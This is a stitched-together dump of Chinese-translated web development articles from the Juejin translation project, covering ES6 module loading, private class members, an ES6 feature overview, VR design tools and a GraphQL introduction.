发表的相关文章:[点击阅读](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) 但是,ES6 模块的预加载并不是那么简单,他们与普通的脚本有很大的不同。那么问题来了,对一个 link 元素加上 `rel="preload"` 将会怎样处理 ES6 模块呢?它也会取出所有的依赖文件吗?这个问题显而易见(可以),但是使用 `preload` 命令加载模块,需要解决更多浏览器的内部实现问题。[Domenic Denicola](https://twitter.com/domenic) 在[一个 GitHub issue](https://github.com/whatwg/fetch/issues/486) 中讨论了这方面的问题,如果你感兴趣的话可以点进去看一看。但是事实证明,使用 `rel="preload"` 加载脚本与加载 ES6 模块是截然不同的。可能以后最终的解决方案是用另一个 `rel="modulepreload"` 命令来专门加载模块。在本文写作时,[这个 pull request](https://github.com/whatwg/html/pull/2383) 还在审核中,你可以点进去看看未来我们可能会怎样进行模块的预加载。 ## 加入真实的依赖 ## 仅仅 3 个文件当然没法做一个真正的 app,所以让我们给它加一些真实的依赖。[Lodash](https://lodash.com/) 根据 ES6 模块对它的功能进行了分割,并分别提供给用户。我取出其中一个功能,然后使用 Babili 进行压缩。现在让我们对 `index.js` 文件进行修改,引入这个 Lodash 的方法。 ``` import dep1 from './dep-1.js'; import isEmpty from './lodash/isEmpty.js'; function getComponent() { const element = document.createElement('div'); element.innerHTML = dep1() + ' ' + isEmpty([]); return element; } document.body.appendChild(getComponent()); ``` 在这个例子中,`isEmpty` 基本上没有被使用,但是在加上它的依赖后,我们可以看看发生了什么: ![image07](http://images.contentful.com/256tjdsmm689/13F95Xpl32Mu0MgE0mgS2o/c9dbc002e53bf56ee0eeb0df40b55f9c/image07.png) 可以看到 request 数量增加到了 40 个以上,页面在普通 wifi 下的加载时间从大约 100 毫秒上升到了 400 到 800 毫秒,加载的数据总大小在没有压缩的情况下增加到了大约 12KB。可惜的是 [WebPagetest](https://www.webpagetest.org/) 在 Safari Preview 中不可用,我们没法给它做可靠的标准检测。 但是,Chrome 收到打包后的 JavaScript 数据比较小,只有大约 8KB。 ![image05](http://images.contentful.com/256tjdsmm689/6xxfWBW9nqAeqQ8ck0MqU/62a74102e9247d785a61a84766356f51/image05.png) 这 4KB 的差距是不能忽视的。你可以在 [lodash-module-on.stefans-playground.rocks](https://lodash-module-on.stefans-playground.rocks/) 找到本示例。 ### 压缩工作仅对大文件表现良好 ### 如果你仔细看上面 Safari 开发者工具的截图,你可能会注意到传输后的文件大小其实比源码还要大。在很大的 JavaScript app 中这个现象会更加明显,一堆的小 Chunk 会造成文件大小的很大不同,因为 GZIP 并不能很好地压缩小文件。 Khan Academy 在前一段时间[探究了同样的问题](http://engineering.khanacademy.org/posts/js-packaging-http2.htm),他是用 HTTP/2 进行研究的。装载更小的文件能够很好地确保缓存命中率,但到最后它一般都会作为一个权衡方案,而且它的效果会被很多因素影响。对于一个很大的代码库来说,分解成若干个 chunk(一个 *vendor* 文件和一个 app bundle)是理所当然的,但是要装载数千个不能被压缩的小文件可能并不是一种明智的方法。 ### Tree shaking 是个超 COOL 的技术 ### 必须要说:感谢非常新潮的 tree shaking 技术,通过它,构建进程可以将没有使用过以及没有被其它模块引用的代码删除。第一个支持这个技术的构建工具是 Rollup,现在 Webpack 2 也支持它——[只要我们在 babel 中禁用 `module` 选项](https://medium.freecodecamp.com/tree-shaking-es6-modules-in-webpack-2-1add6672f31b#22c4)。 我们试着改一改 `dep-2.js`,让它包含一些不会在 `dep-1.js` 中使用的东西。 ``` export default function() { return 'Hello World. dependencies loaded.'; } export const unneededStuff = [ 'unneeded stuff' ]; ``` Babili 只会压缩文件, Safari Preview 在这种情况下会接收到这几行没有用过的代码。而另一方面,Webpack 或者 Rollup 打的包将不会包含这个 `unnededStuff`。Tree shaking 省略了大量代码,它毫无疑问应当被用在真实的产品代码库中。 ## 尽管未来很明朗,但是现在的构建过程仍然不会变动 ## ES6 模块即将到来,但是直到它最终在各大主流浏览器中实现前,我们的开发并不会发生什么变化。我们既不会装载一堆小文件来确保压缩率,也不会为了使用 tree shaking 和死码删除来抛弃构建过程。**前端开发现在及将来都会一如既往地复杂**。 不要把所有东西都进行分割然后就假设它会改善性能。我们即将迎来 ES6 模块的浏览器原生支持,但是这不意味着我们可以抛弃构建过程与合适的打包策略。在我们 Contentful 这儿,将继续坚持我们的构建过程,以及继续使用我们的 [JavaScript SDKs](https://www.contentful.com/developers/docs/javascript/) 进行打包。 然而,我们必须承认现在前端的开发体验仍然良好。JavaScript 仍在进步,最终我们将能够使用语言本身提供的模块系统。在几年后,原生模块对 JavaScript 生态的影响以及最佳实践方法将会是怎样的呢?让我们拭目以待。 ## 其它资源 ## - [ES6 模块系列文章](https://blog.hospodarets.com/native-ecmascript-modules-the-first-overview) 作者:Serg Hospodarets - [《探索 ES6》](http://exploringjs.com/) 的 [模块章节](http://exploringjs.com/es6/ch_modules.html) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/es6-private-members.md ================================================ >* 原文链接 : [Private members in ES6 classes](https://gist.github.com/greim/44e54c2f23eab955bb73b31426e96d6c) * 原文作者 : [Greg Reimer](https://github.com/greim) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [XRene](https://github.com/CommanderXL) * 校对者:[narcotics726](https://github.com/narcotics726), [jingkecn](https://github.com/jingkecn) # ECMAScript 6 里面的私有变量 “...让我们创建一个ES6的类吧,”你说。“再给它一个私有变量” class Foo { constructor(x) { this.x = x; } getX() { return this.x; } } “拜托.”我白了一眼说。“变量x根本就不是私有的。全世界都还是可以对它进行读写操作!” “我们可以给这个变量前面加个下划线,”你反驳道。“其他开发人员就再也不会使用这个变量了,因为它的声明方式很丑陋,下划线就能把大家都吓跑了” class Foo { constructor(x) { this._x = x; } getX() { return this._x; } } “这种写法确实很丑陋,”我承认道,晃着杯底的咖啡蹙眉凝思并自以为然,“但是它仍然不是私有的,其他人一定还会去访问它。” “那我们还可以这样干,”你反驳道,“我们可以设置它的属性为不可枚举。这样就没人能觉察到它了!” class Foo { constructor(x) { Object.defineProperty(this, 'x', { value: x, enumerable: false, }); } getX() { return this.x; } } “直到其他开发人员读了你的源码前,确实是这样的。”我摘下眼镜,默然的回答道。 “那我们还可以这样做!”你尴尬的笑道,但明显有些紧张地将目光投向屋里的其他人想寻求支持,但没人愿意跟你有任何眼神交流,“我们可以把所有私有变量塞到构造函数的闭包当中。大功告成!” class Foo { constructor(x) { this.getX = () => x; } } “但是这么一来,”我以手扶额,无奈的争辩道,“每一个类的实例都会包含这个函数的副本。这样不仅效率低,同时也与预期不符:这个变量本应在存在于原型上。其他人也会应该感到困惑,到时候可就归咎于你了!” “那好吧,”你就像抓住一根救命稻草一样说,“我们可以在定义类的函数外面,将私有变量用map存储起来,使用实例来作为键,这样可能就没人能获取到这个变量了吧?” const __ = new Map(); class Foo { constructor(x) { __.set(this, { x }); } getX() { var { x } = __.get(this); return x; } } “但是现在这样会导致内存泄漏,”我洋洋自得的反驳道,好像已经嗅到了胜利的味道,“map始终维持着对于你所设定的实例的强引用,就算程序已经不再使用这个实例,但是它仍然被GC标记而存在于内存当中。” “嗯...”你摸着自己的下巴,眨巴着眼睛说,“那我们就使用[WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap)吧。” const __ = new WeakMap(); class Foo { constructor(x) { __.set(this, { x }); } getX() { var { x } = __.get(this); return x; } } 我:满头大汗,无言以对。 ================================================ FILE: TODO/es6.md ================================================ > * 原文链接: [ES6 Overview in 350 Bullet Points](https://ponyfoo.com/articles/es6) * 原文作者 : [Nicolas Bevacqua](https://ponyfoo.com/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : * 校对者 : * 状态 : 待定 # 350 个特性看透 ES6 ### Introduction * ES6 – also known as Harmony, `es-next`, ES2015 – is the latest finalized specification of the language * The ES6 specification was finalized in **June 2015**, _(hence ES2015)_ * Future versions of the specification will follow the `ES[YYYY]` pattern, e.g ES2016 for ES7 * **Yearly release schedule**, features that don’t make the cut take the next train * Since ES6 pre-dates that decision, most of us still call it ES6 * Starting with ES2016 (ES7), we should start using the `ES[YYYY]` pattern to refer to newer versions * Top reason for naming scheme is to pressure browser vendors into quickly implementing newest features ### Tooling * To get ES6 working today, you need a **JavaScript-to-JavaScript** _transpiler_ * Transpilers are here to stay * They allow you to compile code in the latest version into older versions of the language * As browser support gets better, we’ll transpile ES2016 and ES2017 into ES6 and beyond * We’ll need better source mapping functionality * They’re the most reliable way to run ES6 source code in production today _(although browsers get ES5)_ * Babel _(a transpiler)_ has a killer feature: **human-readable output** * Use [`babel`](http://babeljs.io/) to transpile ES6 into ES5 for static builds * Use [`babelify`](https://github.com/babel/babelify) to incorporate `babel` into your [Gulp, Grunt, or `npm run`](https://ponyfoo.com/articles/gulp-grunt-whatever) build process * Use Node.js `v4.x.x` or greater as they have decent ES6 support baked in, thanks to `v8` * Use `babel-node` with any version of `node`, as it transpiles modules into ES5 * Babel has a thriving ecosystem that already supports some of ES2016 and has plugin support * Read [A Brief History of ES6 Tooling](https://ponyfoo.com/articles/a-brief-history-of-es6-tooling) ### Assignment Destructuring * `var {foo} = pony` is equivalent to `var foo = pony.foo` * `var {foo: baz} = pony` is equivalent to `var baz = pony.foo` * You can provide default values, `var {foo='bar'} = baz` yields `foo: 'bar'` if `baz.foo` is `undefined` * You can pull as many properties as you like, aliased or not * `var {foo, bar: baz} = {foo: 0, bar: 1}` gets you `foo: 0` and `baz: 1` * You can go deeper. `var {foo: {bar}} = { foo: { bar: 'baz' } }` gets you `bar: 'baz'` * You can alias that too. `var {foo: {bar: deep}} = { foo: { bar: 'baz' } }` gets you `deep: 'baz'` * Properties that aren’t found yield `undefined` as usual, e.g: `var {foo} = {}` * Deeply nested properties that aren’t found yield an error, e.g: `var {foo: {bar}} = {}` * It also works for arrays, `[a, b] = [0, 1]` yields `a: 0` and `b: 1` * You can skip items in an array, `[a, , b] = [0, 1, 2]`, getting `a: 0` and `b: 2` * You can swap without an _“aux”_ variable, `[a, b] = [b, a]` * You can also use destructuring in function parameters * Assign default values like `function foo (bar=2) {}` * Those defaults can be objects, too `function foo (bar={ a: 1, b: 2 }) {}` * Destructure `bar` completely, like `function foo ({ a=1, b=2 }) {}` * Default to an empty object if nothing is provided, like `function foo ({ a=1, b=2 } = {}) {}` * Read [ES6 JavaScript Destructuring in Depth](https://ponyfoo.com/articles/es6-destructuring-in-depth) ### Spread Operator and Rest Parameters * Rest parameters is a better `arguments` * You declare it in the method signature like `function foo (...everything) {}` * `everything` is an array with all parameters passed to `foo` * You can name a few parameters before `...everything`, like `function foo (bar, ...rest) {}` * Named parameters are excluded from `...rest` * `...rest` must be the last parameter in the list * Spread operator is better than magic, also denoted with `...` syntax * Avoids `.apply` when calling methods, `fn(...[1, 2, 3])` is equivalent to `fn(1, 2, 3)` * Easier concatenation `[1, 2, ...[3, 4, 5], 6, 7]` * Casts array-likes or iterables into an array, e.g `[...document.querySelectorAll('img')]` * Useful when [destructuring](#assignment-destructuring) too, `[a, , ...rest] = [1, 2, 3, 4, 5]` yields `a: 1` and `rest: [3, 4, 5]` * Makes `new` + `.apply` effortless, `new Date(...[2015, 31, 8])` * Read [ES6 Spread and Butter in Depth](https://ponyfoo.com/articles/es6-spread-and-butter-in-depth) ### Arrow Functions * Terse way to declare a function like `param => returnValue` * Useful when doing functional stuff like `[1, 2].map(x => x * 2)` * Several flavors are available, might take you some getting used to * `p1 => expr` is okay for a single parameter * `p1 => expr` has an implicit `return` statement for the provided `expr` expression * To return an object implicitly, wrap it in parenthesis `() => ({ foo: 'bar' })` or you’ll get **an error** * Parenthesis are demanded when you have zero, two, or more parameters, `() => expr` or `(p1, p2) => expr` * Brackets in the right-hand side represent a code block that can have multiple statements, `() => {}` * When using a code block, there’s no implicit `return`, you’ll have to provide it – `() => { return 'foo' }` * You can’t name arrow functions statically, but runtimes are now much better at inferring names for most methods * Arrow functions are bound to their lexical scope * `this` is the same `this` context as in the parent scope * `this` can’t be modified with `.call`, `.apply`, or similar _“reflection”-type_ methods * Read [ES6 Arrow Functions in Depth](https://ponyfoo.com/articles/es6-arrow-functions-in-depth) ### Template Literals * You can declare strings with ``` (backticks), in addition to `"` and `'` * Strings wrapped in backticks are _template literals_ * Template literals can be multiline * Template literals allow interpolation like ``ponyfoo.com is ${rating}`` where `rating` is a variable * You can use any valid JavaScript expressions in the interpolation, such as ``${2 * 3}`` or ``${foo()}`` * You can use tagged templates to change how expressions are interpolated * Add a `fn` prefix to `fn`foo, ${bar} and ${baz}`` * `fn` is called once with `template, ...expressions` * `template` is `['foo, ', ' and ', '']` and `expressions` is `[bar, baz]` * The result of `fn` becomes the value of the template literal * Possible use cases include input sanitization of expressions, parameter parsing, etc. * Template literals are almost strictly better than strings wrapped in single or double quotes * Read [ES6 Template Literals in Depth](https://ponyfoo.com/articles/es6-template-strings-in-depth) ### Object Literals * Instead of `{ foo: foo }`, you can just do `{ foo }` – known as a _property value shorthand_ * Computed property names, `{ [prefix + 'Foo']: 'bar' }`, where `prefix: 'moz'`, yields `{ mozFoo: 'bar' }` * You can’t combine computed property names and property value shorthands, `{ [foo] }` is invalid * Method definitions in an object literal can be declared using an alternative, more terse syntax, `{ foo () {} }` * See also [`Object`](#object) section * Read [ES6 Object Literal Features in Depth](https://ponyfoo.com/articles/es6-object-literal-features-in-depth) ### Classes * Not _“traditional”_ classes, syntax sugar on top of prototypal inheritance * Syntax similar to declaring objects, `class Foo {}` * Instance methods _– `new Foo().bar` –_ are declared using the short [object literal](#object-literals) syntax, `class Foo { bar () {} }` * Static methods _– `Foo.isPonyFoo()` –_ need a `static` keyword prefix, `class Foo { static isPonyFoo () {} }` * Constructor method `class Foo { constructor () { /* initialize instance */ } }` * Prototypal inheritance with a simple syntax `class PonyFoo extends Foo {}` * Read [ES6 Classes in Depth](https://ponyfoo.com/articles/es6-classes-in-depth) ### Let and Const * `let` and `const` are alternatives to `var` when declaring variables * `let` is block-scoped instead of lexically scoped to a `function` * `let` is [hoisted](https://ponyfoo.com/articles/javascript-variable-hoisting) to the top of the block, while `var` declarations are hoisted to top of the function * “Temporal Dead Zone” – TDZ for short * Starts at the beginning of the block where `let foo` was declared * Ends where the `let foo` statement was placed in user code _(hoisiting is irrelevant here)_ * Attempts to access or assign to `foo` within the TDZ _(before the `let foo` statement is reached)_ result in an error * Helps prevent mysterious bugs when a variable is manipulated before its declaration is reached * `const` is also block-scoped, hoisted, and constrained by TDZ semantics * `const` variables must be declared using an initializer, `const foo = 'bar'` * Assigning to `const` after initialization fails silently (or **loudly** _– with an exception –_ under strict mode) * `const` variables don’t make the assigned value immutable * `const foo = { bar: 'baz' }` means `foo` will always reference the right-hand side object * `const foo = { bar: 'baz' }; foo.bar = 'boo'` won’t throw * Declaration of a variable by the same name will throw * Meant to fix mistakes where you reassign a variable and lose a reference that was passed along somewhere else * In ES6, **functions are block scoped** * Prevents leaking block-scoped secrets through hoisting, `{ let _foo = 'secret', bar = () => _foo; }` * Doesn’t break user code in most situations, and typically what you wanted anyways * Read [ES6 Let, Const and the “Temporal Dead Zone” (TDZ) in Depth](https://ponyfoo.com/articles/es6-let-const-and-temporal-dead-zone-in-depth) ### Symbols * A new primitive type in ES6 * You can create your own symbols using `var symbol = Symbol()` * You can add a description for debugging purposes, like `Symbol('ponyfoo')` * Symbols are immutable and unique. `Symbol()`, `Symbol()`, `Symbol('foo')` and `Symbol('foo')` are all different * Symbols are of type `symbol`, thus: `typeof Symbol() === 'symbol'` * You can also create global symbols with `Symbol.for(key)` * If a symbol with the provided `key` already existed, you get that one back * Otherwise, a new symbol is created, using `key` as its description as well * `Symbol.keyFor(symbol)` is the inverse function, taking a `symbol` and returning its `key` * Global symbols are **as global as it gets**, or _cross-realm_. Single registry used to look up these symbols across the runtime * `window` context * `eval` context * ` 我做了一个头部在二维平面运动时的安全区的简化图示。绿色为佳,黄色可以接受但要避免红色。有一些已公开的用户研究会进一步深入讨论这一课题「链接在文章底部」。 ![](https://cdn-images-1.medium.com/max/800/1*XJwTciYJOXlJMu62D1vDNw.jpeg) 糟糕的设计会导致更加严重的健康问题。 举个例子,你听说过“短信颈”吗?[《神经和脊柱手术》]((https://cbsminnesota.files.wordpress.com/2014/11/spine-study.pdf))的一篇研究报告测量了头部处于不同位置时颈部受到的压力。 头部位置从直视前方到头往下看时颈部压力增加了 440%。肌肉和韧带会有疲惫酸痛感,神经紧绷, 背脊骨间的软骨层受到压迫。所有不规范动作将导致诸如永久性神经损伤等长期严重的问题。 **长话短说: 避免需要长时间向下看的交互动作。** ![](https://cdn-images-1.medium.com/max/800/1*TxrR4g5d6HZVhBN0nyRwcA.jpeg) #### 自由度 身体在空间中移动方向有六种。可以在 XYZ 坐标中旋转和平移。 **自由度为 3(方向追踪)** 需要绑定手机的头戴设备,比如 Cardboard 和 Gear VR 通过内置的陀螺仪(3DOF)来追踪方向。所有三个轴上的转动都会被记录下来。 ![](https://cdn-images-1.medium.com/max/800/1*bJQluIkWyg3HX2XSCS98CA.jpeg) **自由度为 6(方向和位置追踪)** 要达到 6 个自由度,传感器需要追踪空间位置(+X, -X, +Y, -Y, +Z, -Z)。HTC Vive 和 Oculus Rift 这类高端设备自由度为 6(6DOF)。 ![](https://cdn-images-1.medium.com/max/800/1*sNTxX9iMJnE0oWybyTHNBw.jpeg) **追踪** **要实现 6 个自由度需要频繁地光学追踪一个或多个传感器发出的红外线。Oculus 的追踪传感器在固定的摄像头上,而 Vive 的传感器在真正的 HMD (头戴显示器)上。 ![](https://cdn-images-1.medium.com/max/600/1*v-ClTzahcgH9IMJtZR3BAQ.jpeg) ![](https://cdn-images-1.medium.com/max/600/1*q_mrMtR0g8KGhedW6bzNKw.jpeg) #### 输入 为不同的系统设计,需要不同的输入方式,并影响你的决定。比如Google Cardboard只有一个按钮,这导致交互模型就是简单的注释和轻点。HTC Vive 有两个自由度为 6 的控制器Oculus会附带 Xbox One 的控制器 ,不过最终会有一个自由度为 6 的二元控制器,Oculus Touch。所有这些都可以让你使用更先进的沉浸式交互模式。 ![](https://cdn-images-1.medium.com/max/800/1*QvXJZuU4HRKVzWaEBzNjvQ.jpeg) ![](https://cdn-images-1.medium.com/max/800/1*b5tx1pcxOkKfhEGQjuEqWQ.jpeg) 还有其他的输入方式,比如手部追踪。最著名的莫过于 Leap Motion。可以把它装在头戴显示器(HMD)。 ![](https://cdn-images-1.medium.com/max/800/1*j3oXBLEpGpCqmFj_LE6KaA.jpeg) 随着技术进步,这一领域在持续演进,但时至今日,手部追踪还不是特别靠谱,还不能用作主要输入方式。主要问题在于手和指头,碰撞以及细节动作追踪。 尽管大家都熟悉游戏手柄,它在 VR 中的体验却很糟糕。他从物理上限制了 VR 引入的自由度。在第一人称射击游戏中,扫射和移动会因为加速经常带来不适感。 另一方面,HTC Vive 控制器因为有 6 个自由度增强了 VR 的体验,[Tilt Brush](http://www.tiltbrush.com/#video) 就是个绝佳的例子。我在写这段话的时候,还没试过 Oculus touch,但是我看过的所有的演示都相当不错。[这里有几个 Oculus Toybox 演示视频。](https://www.youtube.com/watch?v=dbYP4bhKr2M) 设计用户界面和交互细节时,输入是关键因素,不同的输入方式将会推动不同设计决策。你应该熟悉所有的输入方式,并认识到它们的局限。 #### 工具 这是一个大的话题,可能需要一篇深入的文章才能讲清楚。我会重点介绍这行业中最流行的工具。 **纸笔** ![](https://cdn-images-1.medium.com/max/800/1*lw9mPIe6HtZeafnSaAt2bQ.jpeg) 我们就是离不开纸笔。它们是我们用到的第一个工具,因为它们常伴左右而且不需要太多的技能。它是公认的表达想法的好工具,可以快速经济的迭代。速度和成本是重要的考量因素,因为对 VR 而言,将线框图转化成 hi-fi 的成本比 2D 更高。 **Sketch** 我仍然每天都在用 Sketch。它易于使用,是在创作 VR 原型之前进行探索的完美工具。它的专业工具和插件用起来非常方便,可以省不少时间。如果你不熟悉这个软件,可以读一下我的 [这篇](https://medium.com/sketch-app/discovering-sketch-25545f6cb161#.bnhmmx6ld) 和 [这篇](https://medium.com/sketch-app/what-is-new-in-sketch-3-4b92d8b25f3#.o7ruj49a8)文章。 ![](https://cdn-images-1.medium.com/max/1200/1*_qHJY0GowKCu4jejHLvRCw.png) **Cinema 4D** 我并不把 C4D 当作 Maya 的竞争者。他们都很出色,各有千秋。如果没有 3D 背景,学习曲线会非常陡峭。我喜欢 C4D ,是因为我可以搞懂它的界面以及参数式无损方法。它可以帮助我快速的创建更多的迭代。我喜欢 MoGragh 模块,还有很多插件可以使用。社区活跃,可以找到很多高质量的学习材料。 ![](https://cdn-images-1.medium.com/max/1200/1*plFuA2zJQ4bO2xfE5B1N6w.png) ![](http://ww4.sinaimg.cn/large/005SiNxyjw1f51jnwfayyg30b408c4qq.gif) ![](http://ww3.sinaimg.cn/large/005SiNxyjw1f51jos4kovg30b408cqv6.gif) ![](http://ww4.sinaimg.cn/large/005SiNxyjw1f51jpfq5ppg30b408chdt.gif) **Maya** Maya 的优点和缺点都很突出。一个 3D 艺术家要做的所有东西它都可以完成。大多数游戏和电影都是用它设计的。它稳定性出色,可以胜任海量仿真和复杂场景的构建。不管是渲染、建模、动画、纹理还是绑定,它就是最好的工具。Maya 可以高度定制,这也是它成为工业标准的一个原因。工作室需要创建自己的工具集,而 Maya 则是整合工作流程的完美工具。 另外一方面,学习所有这些工具需要全心无保留地献身其中,花费大量时间。我的意思是数周的尝试,数月的学习和数年的日复一日的基础练习。 **Unity** Unity 基本上就是个什么事情都会发生的原型工具。借助项目的直接 VR 预览可以轻松创建并移动东西。他还是一个强大的游戏引擎,有出色的社区,在线商店中有海量的资源(资源作者来定价)。在资源库中可以找到简单的 3D 模型,完整项目,音频,分析工具,着色器,脚本,材料,纹理等等资源。 Unity 的文档和学习平台非常出色,有着各种各样的高质量教程。 Unity3d 主要使用 C# 或者 JavaScript,有微软 Visual Studio 支持,但是没有内置的视觉编辑器,不过可以在资源库中找到相当不错的视觉编辑器。 Unity 支持所有主流的头戴显示器,是跨平台支持最好的,支持的平台有:_Windows PC, Mac OS X, Linux, Web Player, WebGL, VR(包括 Hololens), SteamOS, iOS, Android, Windows Phone 8, Tizen, Android TV 和 Samsung SMART TV, 以及 Xbox One 和 Xbox 360, PS4, Playstation Vita 和 Wii U_。 Unity 支持所有主流的 3D 格式而且支持创作 2D 游戏需要的最好的格式。内置的 3D 编辑器并不强大,但是有很棒的插件可以进行增强。软件本身需要授权,但是在某种程度上可以使用免费版本制作一些东西的。具体细节可以看 Unity 的[价格说明](http://unity3d.com/get-unity)。Unity 是最流行的游戏引擎,市场占有率高达 47%。 ![](https://cdn-images-1.medium.com/max/1200/1*-wg4HHoxsiwY_qJQyJg8xw.png) **Unreal Engine** Unreal 是 Unity3D 的直接竞争者。Unreal 同样有着出色的[文档](https://docs.unrealengine.com/latest/INT/)和[视频教程](https://wiki.unrealengine.com/Videos)。不过在线商店规模较小,毕竟是一个新兴引擎。 Unreal 之于其他竞争对手的一大优势是图形能力;Unreal 在几乎每个领域都更进一步:地形,粒子,后期处理效果,光影和着色器。所有这一切看上去都非常出色。 Unreal 引擎 4 使用 C++ 并内置视觉脚本编辑器 [Blueprint](https://www.unrealengine.com/blog/animation-blueprints)。 我没有怎么用过 Unreal,所以不能做更细节的介绍。 Unreal 的跨平台支持不如 Unity,支持的平台有:_Windows PC, Mac OS X, iOS, Android, VR, Linux, SteamOS, HTML5, Xbox One 和 PS4._ ![](https://cdn-images-1.medium.com/max/1200/1*5Ny7-MsDrtL83zdsvE5QGQ.png) * * * #### 结语 虚拟现实是新兴的媒介。作为先驱者,我们要学习探索的东西仍有很多。这正是我对此感到激动并加入谷歌虚拟现实团队的原因。我们有机会去探索并应该去探索并竭尽所能。理解,认同,构建然后迭代。一遍又一遍。 不断重复这个循环。 ![](https://cdn-images-1.medium.com/max/800/1*VJbKu4_pDXrTONwLA4JpPg.png) * * * ![](https://cdn-images-1.medium.com/max/800/1*yIMdhFHxaoLOBcNLoovrRg.png) #### 资源 视频 * [Google I/O 2015 — Designing for Virtual Reality](https://youtu.be/Qwh1LBzz3AU) * [Oculus Connect keynotes](http://www.twitch.tv/oculus) * [VR Design: Transitioning from a 2D to 3D Design Paradigm](https://youtu.be/XjnHr_6WSqo) * [VR Interface Design Pre-Visualisation Methods](https://youtu.be/id86HeV-Vb8) * [2014 Oculus Connect — Introduction to Audio in VR](https://youtu.be/X6wSEMh8nR8) 教程 * [Cinema 4D tutorials](http://greyscalegorilla.com/tutorials/) * [Unity 3D tutorials](https://unity3d.com/learn/tutorials/modules) * [Maya and 3D tools tutorials](http://www.digitaltutors.com/) 文章 * [LeapMotion — VR Best Practices Guidelines](https://developer.leapmotion.com/assets/Leap%20Motion%20VR%20Best%20Practices%20Guidelines.pdf) * [The fundamentals of user experience in virtual reality](http://www.blockinterval.com/project-updates/2015/10/15/user-experience-in-virtual-reality) * [Ready for UX in 3D?](http://www.blockinterval.com/project-updates/2015/10/27/ux-moves-to-3d) * * * _感谢所有阅读全文并提出改进意见的人。_ ================================================ FILE: TODO/front-end-developers-guide-graphql.md ================================================ > * 原文地址:[A Front End Developer’s Guide to GraphQL](https://css-tricks.com/front-end-developers-guide-graphql/) > * 原文作者:[PEGGY RAYZIS](https://css-tricks.com/author/peggyrayzis/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-developers-guide-graphql.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-developers-guide-graphql.md) > * 译者:[ellcyyang](https://github.com/ellcyyang) > * 校对者:[Xekin-FE](https://github.com/Xekin-FE), [xueshuai](https://github.com/xueshuai) # 写给前端开发者的 GraphQL 指南 不管你的应用是复杂还是简单,你总是要从远程服务器获取数据。在前端,这意味着和某个端点进行 REST 连接、转化并缓存服务器应答以及重新渲染 UI。多年以来,REST 是 API 的标配,但是在过去的一年内,一种名为 GraphQL 的新 API 技术凭借它优秀的开发体验和叙述性数据获取方式开始流行起来。 在这篇文章中我们将会通过一系列实例来说明 GraphQL 会如何帮助你解决获取远程数据的痛点。如果你是个 GraphQL 新手,也不用害怕!我会列举一些学习资源来帮助你使用 Apollo 栈学习 GraphQL,然后你就能领先别人一步掌握它。 ### GraphQL 101 在我们弄明白为什么 GraphQL 可以让前端工程师更轻松之前,我们需要先搞清楚它是什么。当我们说起 GraphQL,我们要么是指这种语言本身,要么是指与它相关的一整套丰富的工具生态系统。就其核心而言,GraphQL 是 Facebook 开发的一种类型化的查询语言,让你能够以一种叙述性的方式表达你对数据的需求。你的查询结果的格式应该和你的查询语句相匹配。在下面这个例子里,我们期待得到一个有 `currency` 和 `rates` 属性的对象,其中 `rates` 又是包含了 `currency` 和 `rate` 关键字的对象的数组。 ``` { rates(currency: "USD") { currency rates { currency rate } } } ``` 当我们讨论广义上的 GraphQL 时,我们主要指的是由帮助部署 GraphQL 到应用中的一些工具所组成的生态系统。在后端,你将使用 [Apollo 服务器](https://www.apollographql.com/docs/apollo-server/) 来创建一个 GraphQL 服务器 —— 一个解析 GraphQL 请求并返回数据的端点。服务器怎么知道应该返回哪些数据呢?你需要使用 [GraphQL 工具](https://www.apollographql.com/docs/graphql-tools/) 来创建一个字典(你的数据蓝图)和一个分解映射(用于从一个 REST 端点、数据库或别的什么中检索数据的一系列函数)。 但它实际上比听起来要简单 —— 通过 Apollo 启动台(一个 GraphQL 服务器控制台),你可以用不超过60行代码在浏览器里创建一个可运行的 GraphQL 服务器! 😮 我们参考了这个 [我创建的启动台](https://launchpad.graphql.com/v7mnw3m03) ,其中包含了文章中所提到的 Coinbase API。 你将会使用 [Apollo 客户端](https://www.apollographql.com/docs/react/) 连接你自己的 GraphQL 服务器和应用,它是一个为你获取、缓存和更新数据的灵活快速的客户端。鉴于 Apollo 客户端并没有和视觉层相耦合,你可以用 React、Angular、Vue 甚至原生 JavaScript 编写。除了跨框架之外,Apollo 也可以跨平台,它支持 React Native 和 Ionic。 ### 试一试!🚀 现在你已经掌握到底什么是 GraphQL 了,动手尝试用几个实例把 Apollo 应用到你的前端工作中去吧。我相信你最终会认可这一点 —— 一个使用了 Apollo 的基于 GraphQL 的架构将会帮助你更快地传送数据。 #### 1. 添加新的数据需求但不添加新端点 我们都遇到过这种情况:花费几个小时创建了一个完美的 UI 组件,然后产品需求突然改变了。你突然意识到,为了获得实现新需求所需的数据,你将不得不实现一个接收 API 请求的复杂瀑布模型 —— 或者更糟 —— 一个新的 REST 端点。然后你的工作阻塞了,你不得不要求后端为这个组件再添加一个新端点。 这种常见问题在 GraphQL 中不再出现,因为你在客户端需求的数据不再和某个端点的资源相耦合。相反,你发向 GraphQL 服务器的请求总是连上同一个端点。你的服务器通过你发送的字典指定所有的可用资源,让你的查询定义你所得到的结果的格式。让我们在 [我的启动台](https://launchpad.graphql.com/v7mnw3m03) 中用之前的例子说明这些概念: 在我们的字典里的第22~26行,我们定义了 `ExchangeRate` 类型。这些字段列举出了所有在我们的应用中可查询的资源。 ``` type ExchangeRate { currency: String rate: String name: String } ``` 在 REST 中,我们受限于数据源所能提供的数据。如果你的 `/exchange-rates` 端点不包含 name,你必须连接一个新的端点比如 `/currency` 